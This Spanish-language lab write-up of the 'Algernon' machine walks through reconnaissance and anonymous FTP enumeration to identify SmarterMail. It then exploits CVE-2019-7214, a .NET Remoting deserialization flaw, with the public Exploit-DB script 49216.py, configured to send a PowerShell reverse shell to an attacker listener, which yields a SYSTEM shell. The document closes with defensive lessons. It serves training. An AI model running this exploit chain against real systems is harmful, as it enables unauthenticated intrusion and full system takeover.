Algernon

TL;DR. El FTP anónimo de Algernon expone los logs de un servidor de correo SmarterMail (FTP anónimo). El puerto 17001 (su canal de administración sobre .NET Remoting) es vulnerable a CVE-2019-7214: deserialización de datos no confiables que permite ejecutar comandos sin autenticar (CVE-2019-7214). El exploit nos devuelve una shell directamente como nt authority\system.

Reconocimiento

Escaneo inicial

El TTL de respuesta es 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos los puertos TCP:

ping -c 1 192.168.223.65
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.223.65

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
9998/tcp  open  http
17001/tcp open  remoting

nmap -p21,80,135,139,445,5040,9998,17001 -sCV 192.168.223.65 -oN targetedScan

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20  09:31PM       <DIR>          ImapRetrieval
| 01-15-26  04:06PM       <DIR>          Logs
| 04-29-20  09:31PM       <DIR>          PopRetrieval
|_04-29-20  09:32PM       <DIR>          Spool
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
9998/tcp  open  http          Microsoft HTTPAPI httpd 2.0    [/interface/root]
17001/tcp open  remoting      MS .NET Remoting services

Dos pistas encajan enseguida. El FTP anónimo muestra carpetas (ImapRetrieval, PopRetrieval, Spool) que son la estructura típica de un servidor de correo, y el 17001/TCP aparece como MS .NET Remoting. Además el 9998 redirige a /interface/root. Todo apunta a SmarterMail, un servidor de correo para Windows cuya consola web vive en el 9998 y cuyo canal de administración escucha en el 17001.

FTP - TCP 21: logs de SmarterMail

El login anónimo está permitido, así que descargamos el árbol completo de forma recursiva:

wget -r ftp://anonymous:@192.168.223.65/
cd 192.168.223.65
ls
cat Logs/*delivery.log

ImapRetrieval  Logs  PopRetrieval  Spool

22:31:35.613 Delivery server started at 4/29/2020 10:31:35 PM
22:31:35.692 Updating ClamAV database...
22:32:23.254 Updating the ClamAV database has completed successfully
23:15:58.747 Relay server stopped at 4/29/2020 11:15:58 PM

Los logs confirman que el servicio es SmarterMail (formato de log y el Spool de relay), pero no contienen credenciales. La vía no es leer correo: es la versión del propio SmarterMail.

TCP 17001: identificación de SmarterMail (CVE-2019-7214)

SmarterMail expone su API de administración en el puerto 17001 mediante .NET Remoting, con tres endpoints deserializables (/Servers, /Mail y /Spool). Las versiones 16.x anteriores al build 6985 arrastran CVE-2019-7214: el canal se configuró con TypeFilterLevel.Full en su BinaryServerFormatterSinkProvider, es decir, el BinaryFormatter acepta y reconstruye cualquier tipo de objeto que llegue por el socket, sin lista blanca. Eso permite enviar (sin autenticar) un gadget chain generado con ysoserial.net: al reconstruir el objeto, BinaryFormatter invoca sus setters en cadena y termina ejecutando el comando embebido durante la propia deserialización (CVE-2019-7214).

Hay un exploit público en Exploit-DB que automatiza el envío del objeto serializado:

searchsploit smarter
searchsploit -m windows/remote/49216.py
mv 49216.py smartermail_exp.py

SmarterMail Build 6985 - Remote Code Execution    | windows/remote/49216.py
   Codes: CVE-2019-7214

Explotación

RCE vía SmarterMail (CVE-2019-7214)

Editamos las cuatro variables de la cabecera del script (objetivo y datos de escucha) y lanzamos un listener. El payload por defecto es una reverse shell de PowerShell:

HOST='192.168.223.65'
PORT=17001
LHOST='192.168.45.177'
LPORT=4444

Con las variables fijadas, dejamos Penelope a la escucha en el 4444 (el LPORT) antes de disparar el exploit:

penelope 4444

python3 smartermail_exp.py

El objeto malicioso se deserializa en el contexto del servicio, que corre con la cuenta más privilegiada de la máquina. La shell entra directamente como nt authority\system, sin necesidad de escalar:

PS C:\Windows\system32> whoami
nt authority\system

Post-explotación

Proof

Al ser ya SYSTEM, leemos directamente la prueba en el escritorio del administrador:

type C:\Users\Administrator\desktop\proof.txt; whoami; hostname

f8bd45e00304334a575f0cdf2c9319a4

Cadena de ataque

FTP anónimo (21)  --  estructura ImapRetrieval/Spool + logs  ->  servicio = SmarterMail
        │  17001 = .NET Remoting (SmarterMail 16.x < build 6985)
        ▼
CVE-2019-7214  --  deserializacion de datos no confiables sin autenticar
        │  exploit 49216.py -> reverse shell PowerShell
        ▼
shell como nt authority\system  (proof.txt)

Lecciones aprendidas

• Un FTP anónimo rara vez es el objetivo final; suele ser una pista. Aquí no había credenciales en los logs, pero su estructura identificó el producto (SmarterMail) y con él el vector real en otro puerto. La enumeración vale por lo que sugiere, no solo por lo que entrega.
• La deserialización de datos no confiables es ejecución de código. Cuando un servicio acepta objetos serializados de un cliente y los reconstruye sin validar el tipo, un gadget bien elegido ejecuta comandos. CVE-2019-7214 es un caso de manual sobre .NET Remoting.
• Los servicios de correo suelen correr como SYSTEM. Por eso el RCE dio root directo: no hizo falta escalar. Aislar estos servicios en cuentas de menor privilegio reduce el impacto de un fallo así.
• Versionar y parchear el middleware, no solo el SO. El puerto 17001 no es web ni evidente; quedó expuesto y sin actualizar. Lo que no se inventaría, no se parchea.